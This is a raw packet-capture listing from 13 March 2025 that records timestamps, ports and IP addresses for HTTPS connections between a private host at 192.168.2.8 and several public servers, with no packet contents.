Mar 13, 2025 14:58:16.547986031 CET	443	49689	104.21.96.1	192.168.2.8
Mar 13, 2025 14:58:16.548058987 CET	49689	443	192.168.2.8	104.21.96.1
Mar 13, 2025 14:58:16.548326969 CET	49689	443	192.168.2.8	104.21.96.1
Mar 13, 2025 14:58:16.548343897 CET	443	49689	104.21.96.1	192.168.2.8
Mar 13, 2025 14:58:16.548722982 CET	443	49689	104.21.96.1	192.168.2.8
Mar 13, 2025 14:58:16.549010992 CET	49690	443	192.168.2.8	104.21.96.1
Mar 13, 2025 14:58:16.549037933 CET	443	49690	104.21.96.1	192.168.2.8
Mar 13, 2025 14:58:16.549108982 CET	49690	443	192.168.2.8	104.21.96.1
Mar 13, 2025 14:58:16.549431086 CET	49690	443	192.168.2.8	104.21.96.1
Mar 13, 2025 14:58:16.549460888 CET	443	49690	104.21.96.1	192.168.2.8
Mar 13, 2025 14:58:16.549592972 CET	49690	443	192.168.2.8	104.21.96.1
Mar 13, 2025 14:58:16.571984053 CET	49691	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.572005987 CET	443	49691	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:16.572104931 CET	49691	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.572523117 CET	49691	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.572534084 CET	443	49691	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:16.572952986 CET	443	49691	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:16.573304892 CET	49692	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.573337078 CET	443	49692	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:16.573513031 CET	49692	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.573715925 CET	49692	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.573729992 CET	443	49692	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:16.574071884 CET	443	49692	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:16.574346066 CET	49693	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.574358940 CET	443	49693	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:16.574430943 CET	49693	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.574702024 CET	49693	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.574728012 CET	443	49693	188.114.97.3	192.168.2.8
Mar 13, 2025 14:58:16.575110912 CET	49693	443	192.168.2.8	188.114.97.3
Mar 13, 2025 14:58:16.764291048 CET	49694	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:16.764336109 CET	443	49694	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:16.764448881 CET	49694	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:16.764919996 CET	49694	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:16.764931917 CET	443	49694	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:16.765604973 CET	443	49694	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:16.765979052 CET	49695	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:16.766012907 CET	443	49695	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:16.766083002 CET	49695	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:16.766324997 CET	49695	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:16.766335964 CET	443	49695	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:16.766716957 CET	443	49695	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:16.766993999 CET	49696	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:16.767002106 CET	443	49696	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:16.767060995 CET	49696	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:16.767343044 CET	49696	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:16.767363071 CET	443	49696	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:16.767431021 CET	49696	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:16.782043934 CET	49697	443	192.168.2.8	104.21.48.1
Mar 13, 2025 14:58:16.782094002 CET	443	49697	104.21.48.1	192.168.2.8
Mar 13, 2025 14:58:16.782172918 CET	49697	443	192.168.2.8	104.21.48.1
Mar 13, 2025 14:58:16.782608986 CET	49697	443	192.168.2.8	104.21.48.1
Mar 13, 2025 14:58:16.782627106 CET	443	49697	104.21.48.1	192.168.2.8
Mar 13, 2025 14:58:16.783252001 CET	443	49697	104.21.48.1	192.168.2.8
Mar 13, 2025 14:58:16.783566952 CET	49698	443	192.168.2.8	104.21.48.1
Mar 13, 2025 14:58:16.783592939 CET	443	49698	104.21.48.1	192.168.2.8
Mar 13, 2025 14:58:16.783648014 CET	49698	443	192.168.2.8	104.21.48.1
Mar 13, 2025 14:58:16.784013987 CET	49698	443	192.168.2.8	104.21.48.1
Mar 13, 2025 14:58:16.784028053 CET	443	49698	104.21.48.1	192.168.2.8
Mar 13, 2025 14:58:16.784411907 CET	443	49698	104.21.48.1	192.168.2.8
Mar 13, 2025 14:58:16.784692049 CET	49699	443	192.168.2.8	104.21.48.1
Mar 13, 2025 14:58:16.784735918 CET	443	49699	104.21.48.1	192.168.2.8
Mar 13, 2025 14:58:16.784782887 CET	49699	443	192.168.2.8	104.21.48.1
Mar 13, 2025 14:58:16.784924984 CET	49699	443	192.168.2.8	104.21.48.1
Mar 13, 2025 14:58:16.784948111 CET	443	49699	104.21.48.1	192.168.2.8
Mar 13, 2025 14:58:16.784990072 CET	49699	443	192.168.2.8	104.21.48.1
Mar 13, 2025 14:58:16.802736044 CET	49700	443	192.168.2.8	104.21.80.1
Mar 13, 2025 14:58:16.802781105 CET	443	49700	104.21.80.1	192.168.2.8
Mar 13, 2025 14:58:16.802941084 CET	49700	443	192.168.2.8	104.21.80.1
Mar 13, 2025 14:58:16.803267002 CET	49700	443	192.168.2.8	104.21.80.1
Mar 13, 2025 14:58:16.803276062 CET	443	49700	104.21.80.1	192.168.2.8
Mar 13, 2025 14:58:16.803904057 CET	443	49700	104.21.80.1	192.168.2.8
Mar 13, 2025 14:58:16.804290056 CET	49701	443	192.168.2.8	104.21.80.1
Mar 13, 2025 14:58:16.804302931 CET	443	49701	104.21.80.1	192.168.2.8
Mar 13, 2025 14:58:16.804380894 CET	49701	443	192.168.2.8	104.21.80.1
Mar 13, 2025 14:58:16.804733992 CET	49701	443	192.168.2.8	104.21.80.1
Mar 13, 2025 14:58:16.804744005 CET	443	49701	104.21.80.1	192.168.2.8
Mar 13, 2025 14:58:16.805198908 CET	443	49701	104.21.80.1	192.168.2.8
Mar 13, 2025 14:58:16.805547953 CET	49702	443	192.168.2.8	104.21.80.1
Mar 13, 2025 14:58:16.805583954 CET	443	49702	104.21.80.1	192.168.2.8
Mar 13, 2025 14:58:16.805679083 CET	49702	443	192.168.2.8	104.21.80.1
Mar 13, 2025 14:58:16.805855036 CET	49702	443	192.168.2.8	104.21.80.1
Mar 13, 2025 14:58:16.805883884 CET	443	49702	104.21.80.1	192.168.2.8
Mar 13, 2025 14:58:16.805937052 CET	49702	443	192.168.2.8	104.21.80.1
Mar 13, 2025 14:58:16.821563005 CET	49703	443	192.168.2.8	104.21.16.1
Mar 13, 2025 14:58:16.821604967 CET	443	49703	104.21.16.1	192.168.2.8
Mar 13, 2025 14:58:16.821666002 CET	49703	443	192.168.2.8	104.21.16.1
Mar 13, 2025 14:58:16.822067022 CET	49703	443	192.168.2.8	104.21.16.1
Mar 13, 2025 14:58:16.822078943 CET	443	49703	104.21.16.1	192.168.2.8
Mar 13, 2025 14:58:16.822658062 CET	443	49703	104.21.16.1	192.168.2.8
Mar 13, 2025 14:58:16.822957039 CET	49704	443	192.168.2.8	104.21.16.1
Mar 13, 2025 14:58:16.823005915 CET	443	49704	104.21.16.1	192.168.2.8
Mar 13, 2025 14:58:16.823113918 CET	49704	443	192.168.2.8	104.21.16.1
Mar 13, 2025 14:58:16.823939085 CET	49704	443	192.168.2.8	104.21.16.1
Mar 13, 2025 14:58:16.823959112 CET	443	49704	104.21.16.1	192.168.2.8
Mar 13, 2025 14:58:16.824398994 CET	443	49704	104.21.16.1	192.168.2.8
Mar 13, 2025 14:58:16.831891060 CET	49705	443	192.168.2.8	104.21.16.1
Mar 13, 2025 14:58:16.831926107 CET	443	49705	104.21.16.1	192.168.2.8
Mar 13, 2025 14:58:16.832050085 CET	49705	443	192.168.2.8	104.21.16.1
Mar 13, 2025 14:58:16.832331896 CET	49705	443	192.168.2.8	104.21.16.1
Mar 13, 2025 14:58:16.832375050 CET	443	49705	104.21.16.1	192.168.2.8
Mar 13, 2025 14:58:16.832428932 CET	49705	443	192.168.2.8	104.21.16.1
Mar 13, 2025 14:58:16.855189085 CET	49706	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.855206013 CET	443	49706	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.855417967 CET	49706	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.855705976 CET	49706	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.855719090 CET	443	49706	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.856297016 CET	443	49706	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.856667042 CET	49707	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.856720924 CET	443	49707	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.856800079 CET	49707	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.857108116 CET	49707	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.857125998 CET	443	49707	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.857495070 CET	443	49707	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.857745886 CET	49708	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.857778072 CET	443	49708	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.857832909 CET	49708	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.857959032 CET	49708	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.857994080 CET	443	49708	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.858040094 CET	49708	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.859209061 CET	49709	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.859247923 CET	443	49709	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.859322071 CET	49709	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.859590054 CET	49709	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.859605074 CET	443	49709	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.859965086 CET	443	49709	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.860272884 CET	49710	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.860285044 CET	443	49710	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.860340118 CET	49710	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.860569954 CET	49710	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.860582113 CET	443	49710	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.860920906 CET	443	49710	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.861192942 CET	49711	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.861222982 CET	443	49711	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.861267090 CET	49711	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.861401081 CET	49711	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:16.861429930 CET	443	49711	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:16.861475945 CET	49711	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.268883944 CET	49712	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.268942118 CET	443	49712	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.269037008 CET	49712	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.269376993 CET	49712	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.269393921 CET	443	49712	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.270108938 CET	443	49712	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.270411968 CET	49713	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.270467043 CET	443	49713	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.270541906 CET	49713	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.270768881 CET	49713	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.270787954 CET	443	49713	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.271173000 CET	443	49713	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.271428108 CET	49714	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.271462917 CET	443	49714	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.271529913 CET	49714	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.271656990 CET	49714	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.271686077 CET	443	49714	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.271728992 CET	49714	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.272727966 CET	49715	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.272772074 CET	443	49715	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.272847891 CET	49715	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.273212910 CET	49715	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.273228884 CET	443	49715	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.273675919 CET	443	49715	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.273941994 CET	49716	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.273956060 CET	443	49716	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.274018049 CET	49716	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.274228096 CET	49716	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.274236917 CET	443	49716	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.274606943 CET	443	49716	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.274889946 CET	49717	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.274930954 CET	443	49717	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.275176048 CET	49717	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.275176048 CET	49717	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.275257111 CET	443	49717	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.275316954 CET	49717	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.438453913 CET	49718	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.438509941 CET	443	49718	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.438611984 CET	49718	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.439093113 CET	49718	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.439106941 CET	443	49718	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.439759970 CET	443	49718	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.440205097 CET	49719	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.440260887 CET	443	49719	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.440326929 CET	49719	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.440663099 CET	49719	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.440685034 CET	443	49719	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.441092014 CET	443	49719	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.441422939 CET	49720	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.441458941 CET	443	49720	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.441520929 CET	49720	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.441694021 CET	49720	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.441724062 CET	443	49720	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.442570925 CET	49720	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.443073988 CET	49721	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.443110943 CET	443	49721	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.443185091 CET	49721	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.443470001 CET	49721	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.443485022 CET	443	49721	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.443866014 CET	443	49721	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.444189072 CET	49722	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.444217920 CET	443	49722	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.444287062 CET	49722	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.444577932 CET	49722	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.444590092 CET	443	49722	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.444961071 CET	443	49722	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.445306063 CET	49723	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.445331097 CET	443	49723	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.445424080 CET	49723	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.445593119 CET	49723	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.445621014 CET	443	49723	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.446161985 CET	49723	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.624449968 CET	49724	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.624509096 CET	443	49724	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.625087976 CET	49724	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.625612974 CET	49724	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.625627041 CET	443	49724	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.626302958 CET	443	49724	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.626740932 CET	49725	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.626786947 CET	443	49725	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.627171993 CET	49725	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.627681971 CET	49725	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.627691984 CET	443	49725	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.628166914 CET	443	49725	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.628475904 CET	49726	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.628520012 CET	443	49726	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.628639936 CET	49726	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.628787041 CET	49726	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.628820896 CET	443	49726	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.629192114 CET	49726	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.629935026 CET	49727	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.629961014 CET	443	49727	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.631413937 CET	49727	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.631887913 CET	49727	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.631900072 CET	443	49727	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.632390022 CET	443	49727	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.634964943 CET	49728	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.634979963 CET	443	49728	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.635106087 CET	49728	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.635560989 CET	49728	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.635570049 CET	443	49728	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.636064053 CET	443	49728	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.636379957 CET	49729	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.636403084 CET	443	49729	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.636496067 CET	49729	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.636591911 CET	49729	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:17.636616945 CET	443	49729	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:17.636670113 CET	49729	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:18.609642982 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:18.609699965 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:18.609822989 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:18.610553980 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:18.610570908 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:21.057109118 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:21.057184935 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:21.060863018 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:21.060873032 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:21.061136961 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:21.073923111 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:21.116327047 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:21.959638119 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:21.959665060 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:21.959707975 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:21.959711075 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:21.959743977 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:21.959760904 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:21.959805965 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:22.093195915 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:22.093282938 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:22.093303919 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:22.093307972 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:22.093353987 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:22.093605995 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:22.093633890 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:22.093647957 CET	49730	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:22.093653917 CET	443	49730	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:22.095767021 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:22.095814943 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:22.095900059 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:22.096218109 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:22.096230984 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:23.722058058 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:23.722136021 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:23.723597050 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:23.723608971 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:23.723879099 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:23.725153923 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:23.768325090 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.663995981 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.664032936 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.664050102 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.664158106 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.664191961 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.664212942 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.664241076 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.783854008 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.783914089 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.783943892 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.783946037 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.783974886 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.784147024 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.784223080 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.784241915 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.784254074 CET	49731	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.784259081 CET	443	49731	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.831515074 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.831558943 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:24.831685066 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.832037926 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:24.832053900 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:26.347475052 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:26.347543955 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:26.349210978 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:26.349227905 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:26.349461079 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:26.351622105 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:26.392330885 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.284913063 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.284944057 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.284959078 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.284986973 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:27.285007954 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.285063982 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:27.436830997 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.436862946 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.437020063 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:27.437038898 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.437338114 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:27.451543093 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.451827049 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:27.474948883 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.475038052 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.475085974 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:27.475192070 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:27.475192070 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:27.475224972 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.475256920 CET	49733	443	192.168.2.8	104.73.234.102
Mar 13, 2025 14:58:27.475267887 CET	443	49733	104.73.234.102	192.168.2.8
Mar 13, 2025 14:58:27.570595026 CET	49738	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:27.570626974 CET	443	49738	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:27.570707083 CET	49738	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:27.571115971 CET	49738	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:27.571126938 CET	443	49738	188.114.96.3	192.168.2.8
